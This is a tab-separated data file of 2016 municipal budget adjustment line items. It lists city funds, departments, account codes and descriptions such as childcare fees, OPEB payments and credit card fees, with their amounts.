22004	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511490.0	OVERTIME	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22005	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409010.0	CHILDCARE-JUNE	612.0	Charges for Service	2016	-13867	0	0	0	0	0	0	0	0	0	0	0	-13867
22006	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409023.0	ENRICHMENT-SPRING	612.0	Charges for Service	2016	-94000	0	0	0	0	0	0	0	0	0	0	0	-94000
22007	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409041.0	ELEM SPORTS-FALL	612.0	Charges for Service	2016	-64550	0	0	0	0	0	0	0	0	0	0	0	-64550
22008	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409042.0	ELEM SPORTS-WINTER	612.0	Charges for Service	2016	-61102	0	0	0	0	0	0	0	0	0	0	0	-61102
22009	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	401700.0	CIVIC AUDITORIUM RENTALS	612.0	Charges for Service	2016	-154800	0	0	0	0	0	0	0	0	0	0	0	-154800
22010	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579962.0	BBB-GEN FUND REIMB-ISD	908.0	 Supplies and Expenses	2016	-450752	0	0	0	0	0	0	0	0	0	0	0	-450752
22011	BA	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2016	101155	0	0	0	0	0	0	0	0	0	0	0	101155
22012	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2016	25639	0	0	0	0	0	0	0	0	0	0	0	25639
22013	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-23210	0	0	0	0	0	0	0	0	0	0	0	-23210
22014	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		UNEMPLOYMENT	804.0	Salaries and Wages	2016	8876	0	0	0	0	0	0	0	0	0	0	0	8876
22015	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522312.0	DISCOUNTS LOST	804.0	 Supplies and Expenses	2016	37300	0	0	0	0	0	0	0	0	0	0	0	37300
22016	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409062.0	SMSE-SPRING	612.0	Charges for Service	2016	-8650	0	0	0	0	0	0	0	0	0	0	0	-8650
22017	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409073.0	ROSIE'S GIRLS-SUMMER II	612.0	Charges for Service	2016	-24215	0	0	0	0	0	0	0	0	0	0	0	-24215
22018	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533700.0	CONF / MTGS / TRAVEL -	804.0	 Supplies and Expenses	2016	4325	0	0	0	0	0	0	0	0	0	0	0	4325
22019	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522230.0	CREDIT CARD FEES		 Supplies and Expenses	2016	2579	0	0	0	0	0	0	0	0	0	0	0	2579
22020	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522230.0	CREDIT CARD FEES		 Supplies and Expenses	2016	15476	0	0	0	0	0	0	0	0	0	0	0	15476
22021	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555510.0	1450 OCEAN	810.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
22022	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555510.0	1450 OCEAN	810.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
22023	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2016	4077	0	0	0	0	0	0	0	0	0	0	0	4077
22024	BA	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2016	-6863	0	0	0	0	0	0	0	0	0	0	0	-6863
22025	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2016	361945	0	0	0	0	0	0	0	0	0	0	0	361945
22026	BA	IS	54	Vehicle Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	808.0	Salaries and Wages	2016	-15705	0	0	0	0	0	0	0	0	0	0	0	-15705
22027	BA	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	808.0	Salaries and Wages	2016	-18567	0	0	0	0	0	0	0	0	0	0	0	-18567
22028	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561406.0	DIRECT SERVICES		 Supplies and Expenses	2016	76242	0	0	0	0	0	0	0	0	0	0	0	76242
22029	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555061.0	PROF SVCS - LUCE MONITORING	816.0	 Supplies and Expenses	2016	103836	0	0	0	0	0	0	0	0	0	0	0	103836
22030	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	198036	0	0	0	0	0	0	0	0	0	0	0	198036
22031	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511748.0	DENTAL	804.0	Salaries and Wages	2016	3967	0	0	0	0	0	0	0	0	0	0	0	3967
22032	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-4527	0	0	0	0	0	0	0	0	0	0	0	-4527
22033	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EAP	804.0	Salaries and Wages	2016	319	0	0	0	0	0	0	0	0	0	0	0	319
22034	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	3192	0	0	0	0	0	0	0	0	0	0	0	3192
22035	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2016	3581	0	0	0	0	0	0	0	0	0	0	0	3581
22036	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EAP	804.0	Salaries and Wages	2016	3226	0	0	0	0	0	0	0	0	0	0	0	3226
22037	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544060.0	JAIL SUPPLIES	806.0	 Supplies and Expenses	2016	71107	0	0	0	0	0	0	0	0	0	0	0	71107
22038	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	566990.0	CRIME PREVENTION	806.0	 Supplies and Expenses	2016	41183	0	0	0	0	0	0	0	0	0	0	0	41183
22039	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22040	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22041	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	577830.0	WATER CONSERVATION REBATES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22042	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22043	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
22044	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409004.0	CHILDCARE-DECEMBER	612.0	Charges for Service	2016	-34717	0	0	0	0	0	0	0	0	0	0	0	-34717
22045	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409005.0	CHILDCARE-JANUARY	612.0	Charges for Service	2016	-31617	0	0	0	0	0	0	0	0	0	0	0	-31617
22046	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409032.0	CAMP SM-SPRING	612.0	Charges for Service	2016	-12830	0	0	0	0	0	0	0	0	0	0	0	-12830
22047	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	87322	0	0	0	0	0	0	0	0	0	0	0	87322
22048	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22049	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	6054	0	0	0	0	0	0	0	0	0	0	0	6054
22050	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522620.0	RENT	804.0	 Supplies and Expenses	2016	39265	0	0	0	0	0	0	0	0	0	0	0	39265
22051	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	523120.0	SOLAR MAINTENANCE	808.0	 Supplies and Expenses	2016	50000	0	0	0	0	0	0	0	0	0	0	0	50000
22052	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2016	14580	0	0	0	0	0	0	0	0	0	0	0	14580
22053	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401060.0	STATE SB 90 CLAIMS	610.0	Intergovernmental	2016	-22000	0	0	0	0	0	0	0	0	0	0	0	-22000
22054	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561180.0	HOMELESS UNIT-DIRECT SERVICES		 Supplies and Expenses	2016	66312	0	0	0	0	0	0	0	0	0	0	0	66312
22055	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569410.0	CITY GARAGE	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22056	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22057	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22058	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	566583.0	OXYGEN DELIVERY	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22059	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	408000.0	INTERFUND SERVICES-CAO	612.0	Charges for Service	2016	-10000	0	0	0	0	0	0	0	0	0	0	0	-10000
22060	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	409210.0	FIRE HIGH RISE INSPECTIONS	612.0	Charges for Service	2016	-129233	0	0	0	0	0	0	0	0	0	0	0	-129233
22061	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	402166.0	FILM / PHOTO PARKING	612.0	Charges for Service	2016	-5000	0	0	0	0	0	0	0	0	0	0	0	-5000
22062	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570081.0	TRANSFER OUT-WTR L-INCOME DISC		 Supplies and Expenses	2016	20000	0	0	0	0	0	0	0	0	0	0	0	20000
22063	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	407490.0	PLAN CHECK FEES-LANDSCAPE&FORE	612.0	Charges for Service	2016	-137917	0	0	0	0	0	0	0	0	0	0	0	-137917
22064	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409001.0	CHILDCARE-SEPTEMBER	612.0	Charges for Service	2016	-57684	0	0	0	0	0	0	0	0	0	0	0	-57684
22065	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409006.0	CHILDCARE-FEBRUARY	612.0	Charges for Service	2016	-31617	0	0	0	0	0	0	0	0	0	0	0	-31617
22066	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409007.0	CHILDCARE-MARCH	612.0	Charges for Service	2016	-31617	0	0	0	0	0	0	0	0	0	0	0	-31617
22067	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409022.0	ENRICHMENT-WINTER	612.0	Charges for Service	2016	-152000	0	0	0	0	0	0	0	0	0	0	0	-152000
22068	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522230.0	CREDIT CARD FEES	810.0	 Supplies and Expenses	2016	162413	0	0	0	0	0	0	0	0	0	0	0	162413
22069	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	110515	0	0	0	0	0	0	0	0	0	0	0	110515
22070	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511748.0	DENTAL	804.0	Salaries and Wages	2016	7418	0	0	0	0	0	0	0	0	0	0	0	7418
22071	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		EAP	804.0	Salaries and Wages	2016	825	0	0	0	0	0	0	0	0	0	0	0	825
22072	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	1576	0	0	0	0	0	0	0	0	0	0	0	1576
22073	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2016	3743	0	0	0	0	0	0	0	0	0	0	0	3743
22074	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	408450.0	TMD ASSESSMENT	622.0	Other	2016	-20056	0	0	0	0	0	0	0	0	0	0	0	-20056
22075	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2016	77352	0	0	0	0	0	0	0	0	0	0	0	77352
22076	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	510000.0	SALARIES AND WAGES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22077	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	4246	0	0	0	0	0	0	0	0	0	0	0	4246
22078	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	523110.0	ELECTRIC VEHI CHARGER MAINTENE	808.0	 Supplies and Expenses	2016	20000	0	0	0	0	0	0	0	0	0	0	0	20000
22079	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511050.0	CAPITAL PROJECT STAFFING	804.0	Salaries and Wages	2016	-146532	0	0	0	0	0	0	0	0	0	0	0	-146532
22080	BA	IS	19	CDBG Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577723.0	CDBG - RESIDENTIAL REHAB PROG		 Supplies and Expenses	2016	300000	0	0	0	0	0	0	0	0	0	0	0	300000
22081	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	579440.0	CIVIC PARKING BOND 2015DBT SVC	910.0	 Supplies and Expenses	2016	2100000	0	0	0	0	0	0	0	0	0	0	0	2100000
22082	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569420.0	SM CONSERVANCY	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22083	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	5064	0	0	0	0	0	0	0	0	0	0	0	5064
22084	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
22085	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	408473.0	OTHER BUSINESS PERMITS	608.0	Licenses and Permits	2016	-59457	0	0	0	0	0	0	0	0	0	0	0	-59457
22086	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	578391.0	BIKE VALET - PROP A  LOCAL RET	808.0	 Supplies and Expenses	2016	40000	0	0	0	0	0	0	0	0	0	0	0	40000
22087	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400270.0	ANIMAL LICENSES	608.0	Licenses and Permits	2016	-193271	0	0	0	0	0	0	0	0	0	0	0	-193271
22088	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401381.0	DOG & CAT NEUTER DEPOSITS	612.0	Charges for Service	2016	-10636	0	0	0	0	0	0	0	0	0	0	0	-10636
22089	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544390.0	OTHER COSTS	816.0	 Supplies and Expenses	2016	24921	0	0	0	0	0	0	0	0	0	0	0	24921
22090	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522120.0	UTILITIES - NATURAL GAS	806.0	 Supplies and Expenses	2016	5500	0	0	0	0	0	0	0	0	0	0	0	5500
22091	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555080.0	DEAD ANIMAL DISPOSAL	806.0	 Supplies and Expenses	2016	10112	0	0	0	0	0	0	0	0	0	0	0	10112
22092	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2016	-3000	0	0	0	0	0	0	0	0	0	0	0	-3000
22093	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408671.0	WAYFINDING-MLTI-MODL METRO CFP	610.0	Intergovernmental	2016	-640000	0	0	0	0	0	0	0	0	0	0	0	-640000
22094	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22095	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511749.0	VISION	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22096	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407201.0	ROSIE'S GIRLS DONATIONS	622.0	Other	2016	-1000	0	0	0	0	0	0	0	0	0	0	0	-1000
22097	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	409330.0	BIKESHARE SPONSORSHIP REVENUE	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22098	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	556260.0	TWILIGHT CONCERT SERIES	820.0	 Supplies and Expenses	2016	500000	0	0	0	0	0	0	0	0	0	0	0	500000
22099	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	804.0	Salaries and Wages	2016	-959292	0	0	0	0	0	0	0	0	0	0	0	-959292
22100	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2016	66989	0	0	0	0	0	0	0	0	0	0	0	66989
22101	BA	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2016	-30869	0	0	0	0	0	0	0	0	0	0	0	-30869
22102	BA	IS	30	Pier Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2016	-2109	0	0	0	0	0	0	0	0	0	0	0	-2109
22103	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	810.0	Salaries and Wages	2016	-11552	0	0	0	0	0	0	0	0	0	0	0	-11552
22104	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511490.0	OVERTIME	804.0	Salaries and Wages	2016	20616	0	0	0	0	0	0	0	0	0	0	0	20616
22105	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2016	26631	0	0	0	0	0	0	0	0	0	0	0	26631
22106	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	27459	0	0	0	0	0	0	0	0	0	0	0	27459
22107	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	393674	0	0	0	0	0	0	0	0	0	0	0	393674
22108	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	20821	0	0	0	0	0	0	0	0	0	0	0	20821
22109	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	804.0	Salaries and Wages	2016	2045072	0	0	0	0	0	0	0	0	0	0	0	2045072
22110	BA	IS	11	Beach Recreation Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	810.0	Salaries and Wages	2016	22488	0	0	0	0	0	0	0	0	0	0	0	22488
22111	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	816.0	Salaries and Wages	2016	-4009	0	0	0	0	0	0	0	0	0	0	0	-4009
22112	BA	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2016	6863	0	0	0	0	0	0	0	0	0	0	0	6863
22113	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511749.0	VISION	804.0	Salaries and Wages	2016	3246	0	0	0	0	0	0	0	0	0	0	0	3246
22114	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		EAP	804.0	Salaries and Wages	2016	2313	0	0	0	0	0	0	0	0	0	0	0	2313
22115	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	5461	0	0	0	0	0	0	0	0	0	0	0	5461
22116	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522180.0	BANK FEES	804.0	 Supplies and Expenses	2016	60000	0	0	0	0	0	0	0	0	0	0	0	60000
22117	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522230.0	CREDIT CARD FEES	804.0	 Supplies and Expenses	2016	2231258	0	0	0	0	0	0	0	0	0	0	0	2231258
22118	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	306	0	0	0	0	0	0	0	0	0	0	0	306
22119	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522720.0	MILEAGE	804.0	 Supplies and Expenses	2016	106	0	0	0	0	0	0	0	0	0	0	0	106
22120	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DCAP	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22121	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	409310.0	AUTO PARK PERMIT	608.0	Licenses and Permits	2016	-12000	0	0	0	0	0	0	0	0	0	0	0	-12000
22122	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	1200	0	0	0	0	0	0	0	0	0	0	0	1200
22123	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	555010.0	CONTRACTUAL SERVICES	812.0	 Supplies and Expenses	2016	4500	0	0	0	0	0	0	0	0	0	0	0	4500
22124	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407861.0	VENDING MACH SALES-VAP	622.0	Other	2016	-1300	0	0	0	0	0	0	0	0	0	0	0	-1300
22125	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409002.0	CHILDCARE-OCTOBER	612.0	Charges for Service	2016	-35242	0	0	0	0	0	0	0	0	0	0	0	-35242
22126	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409003.0	CHILDCARE-NOVEMBER	612.0	Charges for Service	2016	-34717	0	0	0	0	0	0	0	0	0	0	0	-34717
22127	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409021.0	ENRICHMENT-FALL	612.0	Charges for Service	2016	-154000	0	0	0	0	0	0	0	0	0	0	0	-154000
22128	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409043.0	ELEM SPORTS-SPRING	612.0	Charges for Service	2016	-54613	0	0	0	0	0	0	0	0	0	0	0	-54613
22129	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409051.0	MIDDLE SPORTS-FALL	612.0	Charges for Service	2016	-19650	0	0	0	0	0	0	0	0	0	0	0	-19650
22130	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409052.0	MIDDLE SPORTS-WINTER	612.0	Charges for Service	2016	-13950	0	0	0	0	0	0	0	0	0	0	0	-13950
22131	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	4740	0	0	0	0	0	0	0	0	0	0	0	4740
22132	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2016	1530	0	0	0	0	0	0	0	0	0	0	0	1530
22133	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	250000	0	0	0	0	0	0	0	0	0	0	0	250000
22134	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	409360.0	DEVELOPER TDM PLAN FEES	612.0	Charges for Service	2016	-13454	0	0	0	0	0	0	0	0	0	0	0	-13454
22135	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	8142	0	0	0	0	0	0	0	0	0	0	0	8142
22136	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		DCAP	804.0	Salaries and Wages	2016	568	0	0	0	0	0	0	0	0	0	0	0	568
22137	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2016	84	0	0	0	0	0	0	0	0	0	0	0	84
